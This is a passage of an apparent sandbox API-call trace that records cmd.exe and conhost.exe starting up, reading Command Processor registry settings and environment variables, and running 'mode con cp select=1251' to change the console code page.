_MaxCount=0x7) returned 2 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0304.592] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0304.593] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0304.593] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0304.593] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0304.593] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0304.593] GetProcessHeap () returned 0x21776cf0000 [0304.593] RtlFreeHeap (HeapHandle=0x21776cf0000, Flags=0x0, BaseAddress=0x21776d09070) returned 1 [0304.593] GetProcessHeap () returned 0x21776cf0000 [0304.593] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0x12) returned 0x21776d09070 [0304.593] _get_osfhandle (_FileHandle=1) returned 0x24c [0304.593] SetConsoleMode (hConsoleHandle=0x24c, dwMode=0x0) returned 0 [0304.593] _get_osfhandle (_FileHandle=0) returned 0x240 [0304.593] SetConsoleMode (hConsoleHandle=0x240, dwMode=0x0) returned 0 [0304.593] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x217b1bedf0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x217b1bedc8 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x217b1bedc8*(hProcess=0x98, hThread=0x94, dwProcessId=0xfec, dwThreadId=0xff0)) returned 1 [0304.602] CloseHandle (hObject=0x94) returned 1 [0304.602] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0304.602] GetProcessHeap () returned 0x21776cf0000 [0304.602] RtlFreeHeap (HeapHandle=0x21776cf0000, Flags=0x0, BaseAddress=0x21776cf5a10) returned 1 [0304.602] GetEnvironmentStringsW () returned 0x21776cf5a10* [0304.602] GetProcessHeap () returned 0x21776cf0000 [0304.602] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0xac4) returned 0x21776d09490 [0304.602] FreeEnvironmentStringsA (penv="=") returned 1 [0304.602] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffec4360000 [0304.602] GetProcAddress (hModule=0x7ffec4360000, lpProcName="NtQueryInformationProcess") returned 0x7ffec44056b0 [0304.602] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x217b1be2c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x217b1be2c8, ReturnLength=0x0) returned 0x0 [0304.602] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x2a7eb98000, lpBuffer=0x217b1be300, nSize=0x7a0, lpNumberOfBytesRead=0x217b1be2c0 | out: lpBuffer=0x217b1be300*, lpNumberOfBytesRead=0x217b1be2c0*=0x7a0) returned 1 [0304.602] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0311.673] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x217b1bed48 | out: lpExitCode=0x217b1bed48*=0x0) returned 1 [0311.673] CloseHandle (hObject=0x98) returned 1 [0311.673] _vsnwprintf (in: _Buffer=0x217b1bef18, _BufferCount=0x13, _Format="%08X", _ArgList=0x217b1bed58 | out: _Buffer="00000000") returned 8 [0311.673] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0311.673] GetProcessHeap () returned 0x21776cf0000 [0311.673] RtlFreeHeap (HeapHandle=0x21776cf0000, Flags=0x0, BaseAddress=0x21776d09490) returned 1 [0311.673] GetEnvironmentStringsW () returned 0x21776d0aa60* [0311.673] GetProcessHeap () returned 0x21776cf0000 [0311.673] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0xaea) returned 0x21776d0b560 [0311.673] FreeEnvironmentStringsA (penv="=") returned 1 [0311.673] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0311.673] GetProcessHeap () returned 0x21776cf0000 [0311.673] RtlFreeHeap (HeapHandle=0x21776cf0000, Flags=0x0, BaseAddress=0x21776d0b560) returned 1 [0311.674] GetEnvironmentStringsW () returned 0x21776d0aa60* [0311.674] GetProcessHeap () returned 0x21776cf0000 [0311.674] RtlAllocateHeap (HeapHandle=0x21776cf0000, Flags=0x8, Size=0xaea) returned 0x21776d0b560 [0311.674] FreeEnvironmentStringsA (penv="=") returned 1 [0311.674] GetProcessHeap () returned 0x21776cf0000 [0311.674] RtlFreeHeap (HeapHandle=0x21776cf0000, Flags=0x0, BaseAddress=0x21776d09070) returned 1 [0311.674] DeleteProcThreadAttributeList (in: lpAttributeList=0x217b1beed0 | out: lpAttributeList=0x217b1beed0) [0311.675] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") Thread: id = 111 os_tid = 0xfc0 Process: id = "16" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x70de6000" os_pid = "0xf80" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0xf64" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001ac9c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 96 os_tid = 0xf84 Thread: id = 107 os_tid = 0xfb0 Thread: id = 108 os_tid = 0xfb4 Thread: id = 109 os_tid = 0xfb8 Thread: id = 110 os_tid = 0xfbc Process: id = "17" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x7221a000" os_pid = "0xfc4" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xd14" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001ac9c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 112 os_tid = 0xfc8 [0301.878] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff67d010000 [0301.878] __set_app_type (_Type=0x1) [0301.878] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff67d026d00) returned 0x0 [0301.878] __getmainargs (in: _Argc=0x7ff67d049200, _Argv=0x7ff67d049208, _Env=0x7ff67d049210, _DoWildCard=0, _StartInfo=0x7ff67d04921c | out: _Argc=0x7ff67d049200, _Argv=0x7ff67d049208, _Env=0x7ff67d049210) returned 0 [0301.878] _onexit (_Func=0x7ff67d027fd0) returned 0x7ff67d027fd0 [0301.878] _onexit (_Func=0x7ff67d027fe0) returned 0x7ff67d027fe0 [0301.878] _onexit (_Func=0x7ff67d027ff0) returned 0x7ff67d027ff0 [0301.878] _onexit (_Func=0x7ff67d028000) returned 0x7ff67d028000 [0301.879] _onexit (_Func=0x7ff67d028010) returned 0x7ff67d028010 [0301.879] _onexit (_Func=0x7ff67d028020) returned 0x7ff67d028020 [0301.879] GetCurrentThreadId () returned 0xfc8 [0301.879] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfc8) returned 0x70 [0301.880] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffec1940000 [0301.880] GetProcAddress (hModule=0x7ffec1940000, lpProcName="SetThreadUILanguage") returned 0x7ffec195a990 [0301.880] SetThreadUILanguage (LangId=0x0) returned 0x409 [0302.205] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0302.205] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ef9bdfb08 | out: phkResult=0x5ef9bdfb08*=0x0) returned 0x2 [0302.206] VirtualQuery (in: lpAddress=0x5ef9bdfaf4, lpBuffer=0x5ef9bdfa70, dwLength=0x30 | out: lpBuffer=0x5ef9bdfa70*(BaseAddress=0x5ef9bdf000, AllocationBase=0x5ef9ae0000, AllocationProtect=0x4, __alignment1=0xffffa58d, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0302.206] VirtualQuery (in: lpAddress=0x5ef9ae0000, lpBuffer=0x5ef9bdfa70, dwLength=0x30 | out: lpBuffer=0x5ef9bdfa70*(BaseAddress=0x5ef9ae0000, AllocationBase=0x5ef9ae0000, AllocationProtect=0x4, __alignment1=0xffffa58d, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0302.206] VirtualQuery (in: lpAddress=0x5ef9ae1000, lpBuffer=0x5ef9bdfa70, dwLength=0x30 | out: lpBuffer=0x5ef9bdfa70*(BaseAddress=0x5ef9ae1000, AllocationBase=0x5ef9ae0000, AllocationProtect=0x4, __alignment1=0xffffa58d, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0302.206] VirtualQuery (in: lpAddress=0x5ef9ae4000, lpBuffer=0x5ef9bdfa70, dwLength=0x30 | out: lpBuffer=0x5ef9bdfa70*(BaseAddress=0x5ef9ae4000, AllocationBase=0x5ef9ae0000, AllocationProtect=0x4, __alignment1=0xffffa58d, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0302.206] VirtualQuery (in: lpAddress=0x5ef9be0000, lpBuffer=0x5ef9bdfa70, dwLength=0x30 | out: lpBuffer=0x5ef9bdfa70*(BaseAddress=0x5ef9be0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffa58d, RegionSize=0x20000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0302.206] GetConsoleOutputCP () returned 0x1b5 [0302.782] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff67d04fbb0 | out: lpCPInfo=0x7ff67d04fbb0) returned 1 [0302.782] SetConsoleCtrlHandler (HandlerRoutine=0x7ff67d038150, Add=1) returned 1 [0302.783] _get_osfhandle (_FileHandle=1) returned 0x49c [0302.783] GetConsoleMode (in: hConsoleHandle=0x49c, lpMode=0x7ff67d04fc04 | out: lpMode=0x7ff67d04fc04) returned 0 [0302.783] _get_osfhandle (_FileHandle=0) returned 0x574 [0302.783] GetConsoleMode (in: hConsoleHandle=0x574, lpMode=0x7ff67d04fc00 | out: lpMode=0x7ff67d04fc00) returned 0 [0302.783] _get_osfhandle (_FileHandle=1) returned 0x49c [0302.783] SetConsoleMode (hConsoleHandle=0x49c, dwMode=0x0) returned 0 [0302.783] _get_osfhandle (_FileHandle=1) returned 0x49c [0302.783] GetConsoleMode (in: hConsoleHandle=0x49c, lpMode=0x7ff67d04fc08 | out: lpMode=0x7ff67d04fc08) returned 0 [0302.783] _get_osfhandle (_FileHandle=0) returned 0x574 [0302.783] GetConsoleMode (in: hConsoleHandle=0x574, lpMode=0x7ff67d04fc0c | out: lpMode=0x7ff67d04fc0c) returned 0 [0302.783] GetEnvironmentStringsW () returned 0x1c4e5135a40* [0302.783] GetProcessHeap () returned 0x1c4e5130000 [0302.783] RtlAllocateHeap (HeapHandle=0x1c4e5130000, Flags=0x8, Size=0xab6) returned 0x1c4e5136500 [0302.783] FreeEnvironmentStringsA (penv="=") returned 1 [0302.783] GetProcessHeap () returned 0x1c4e5130000 [0302.783] RtlAllocateHeap (HeapHandle=0x1c4e5130000, Flags=0x8, Size=0x8) returned 0x1c4e5135a40 [0302.783] GetEnvironmentStringsW () returned 0x1c4e5136fd0* [0302.783] GetProcessHeap () returned 0x1c4e5130000 [0302.783] RtlAllocateHeap (HeapHandle=0x1c4e5130000, Flags=0x8, Size=0xab6) returned 0x1c4e5137a90 [0302.784] FreeEnvironmentStringsA (penv="=") returned 1 [0302.784] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x5ef9bde9b8 | out: phkResult=0x5ef9bde9b8*=0x7c) returned 0x0 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x0, lpData=0x5ef9bde9d0*=0x4, lpcbData=0x5ef9bde9b4*=0x1000) returned 0x2 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x4, lpData=0x5ef9bde9d0*=0x1, lpcbData=0x5ef9bde9b4*=0x4) returned 0x0 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x0, lpData=0x5ef9bde9d0*=0x1, lpcbData=0x5ef9bde9b4*=0x1000) returned 0x2 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x4, lpData=0x5ef9bde9d0*=0x0, lpcbData=0x5ef9bde9b4*=0x4) returned 0x0 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x4, lpData=0x5ef9bde9d0*=0x40, lpcbData=0x5ef9bde9b4*=0x4) returned 0x0 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x4, lpData=0x5ef9bde9d0*=0x40, lpcbData=0x5ef9bde9b4*=0x4) returned 0x0 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x0, lpData=0x5ef9bde9d0*=0x40, lpcbData=0x5ef9bde9b4*=0x1000) returned 0x2 [0302.784] RegCloseKey (hKey=0x7c) returned 0x0 [0302.784] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x5ef9bde9b8 | out: phkResult=0x5ef9bde9b8*=0x7c) returned 0x0 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x0, lpData=0x5ef9bde9d0*=0x40, lpcbData=0x5ef9bde9b4*=0x1000) returned 0x2 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x4, lpData=0x5ef9bde9d0*=0x1, lpcbData=0x5ef9bde9b4*=0x4) returned 0x0 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x0, lpData=0x5ef9bde9d0*=0x1, lpcbData=0x5ef9bde9b4*=0x1000) returned 0x2 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x4, lpData=0x5ef9bde9d0*=0x0, lpcbData=0x5ef9bde9b4*=0x4) returned 0x0 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x4, lpData=0x5ef9bde9d0*=0x9, lpcbData=0x5ef9bde9b4*=0x4) returned 0x0 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x4, lpData=0x5ef9bde9d0*=0x9, lpcbData=0x5ef9bde9b4*=0x4) returned 0x0 [0302.784] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x5ef9bde9b0, lpData=0x5ef9bde9d0, lpcbData=0x5ef9bde9b4*=0x1000 | out: lpType=0x5ef9bde9b0*=0x0, lpData=0x5ef9bde9d0*=0x9, lpcbData=0x5ef9bde9b4*=0x1000) returned 0x2 [0302.784] RegCloseKey (hKey=0x7c) returned 0x0 [0302.784] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca72abf [0302.784] srand (_Seed=0x5ca72abf) [0302.784] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0302.784] malloc (_Size=0x4000) returned 0x1c4e54b5530 [0302.785] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0302.785] malloc (_Size=0xffce) returned 0x1c4e5300080 [0302.785] ??_V@YAXPEAX@Z () returned 0x1c4e5300080 [0302.786] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1c4e5300080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0302.786] malloc (_Size=0xffce) returned 0x1c4e5310060 [0302.786] ??_V@YAXPEAX@Z () returned 0x1c4e5310060 [0302.786] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c4e5310060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0302.787] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0302.787] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0302.787] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0302.787] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0302.787] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0302.787] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0302.787] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0302.787] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0302.787] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0302.787] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0302.787] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0302.787] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0302.787] GetProcessHeap () returned 0x1c4e5130000 [0302.787] RtlFreeHeap (HeapHandle=0x1c4e5130000, Flags=0x0, BaseAddress=0x1c4e5136500) returned 1 [0302.787] GetEnvironmentStringsW () returned 0x1c4e5135a60* [0302.787] GetProcessHeap () returned 0x1c4e5130000 [0302.787] RtlAllocateHeap (HeapHandle=0x1c4e5130000, Flags=0x8, Size=0xace) returned 0x1c4e5136540 [0302.788] FreeEnvironmentStringsA (penv="=") returned 1 [0302.788] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0302.788] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0302.788] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0302.788] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0302.788] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0302.788] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0302.788] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0302.788] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0302.788] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0302.788] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0302.788] malloc (_Size=0xffce) returned 0x1c4e5320040 [0302.788] ??_V@YAXPEAX@Z () returned 0x1c4e5320040 [0302.788] GetProcessHeap () returned 0x1c4e5130000 [0302.788] RtlAllocateHeap (HeapHandle=0x1c4e5130000, Flags=0x8, Size=0x38) returned 0x1c4e5138580 [0302.789] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1c4e5320040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0302.789] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x1c4e5320040, lpFilePart=0x5ef9bdf530 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x5ef9bdf530*="system32") returned 0x13 [0302.789] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0302.789] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x5ef9bdf260 | out: lpFindFileData=0x5ef9bdf260) returned 0x1c4e51385c0 [0302.789] FindClose (in: hFindFile=0x1c4e51385c0 | out: hFindFile=0x1c4e51385c0) returned 1 [0302.789] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x5ef9bdf260 | out: lpFindFileData=0x5ef9bdf260) returned 0x1c4e51385c0 [0302.789] FindClose (in: hFindFile=0x1c4e51385c0 | out: hFindFile=0x1c4e51385c0) returned 1 [0302.790] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0302.790] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0302.790] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0302.790] GetProcessHeap () returned 0x1c4e5130000 [0302.790] RtlFreeHeap (HeapHandle=0x1c4e5130000, Flags=0x0, BaseAddress=0x1c4e5136540) returned 1 [0302.790] GetEnvironmentStringsW () returned 0x1c4e5135a60* [0302.790] GetProcessHeap () returned 0x1c4e5130000 [0302.790] RtlAllocateHeap (HeapHandle=0x1c4e5130000, Flags=0x8, Size=0xafe) returned 0x1c4e5136570 [0302.790] FreeEnvironmentStringsA (penv="=") returned 1 [0302.790] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1c4e5300080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0302.790] GetProcessHeap () returned 0x1c4e5130000 [0302.790] RtlFreeHeap (HeapHandle=0x1c4e5130000, Flags=0x0, BaseAddress=0x1c4e5138580) returned 1 [0302.790] ??_V@YAXPEAX@Z () returned 0x1 [0302.790] ??_V@YAXPEAX@Z () returned 0x1 [0302.790] GetProcessHeap () returned 0x1c4e5130000 [0302.790] RtlAllocateHeap (HeapHandle=0x1c4e5130000, Flags=0x8, Size=0x4016) returned 0x1c4e5138580 [0302.790] GetProcessHeap () returned 0x1c4e5130000 [0302.790] RtlFreeHeap (HeapHandle=0x1c4e5130000, Flags=0x0, BaseAddress=0x1c4e5138580) returned 1 [0302.790] GetConsoleOutputCP () returned 0x1b5 [0303.581] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff67d04fbb0 | out: lpCPInfo=0x7ff67d04fbb0) returned 1 [0303.581] GetUserDefaultLCID () returned 0x409 [0303.581] 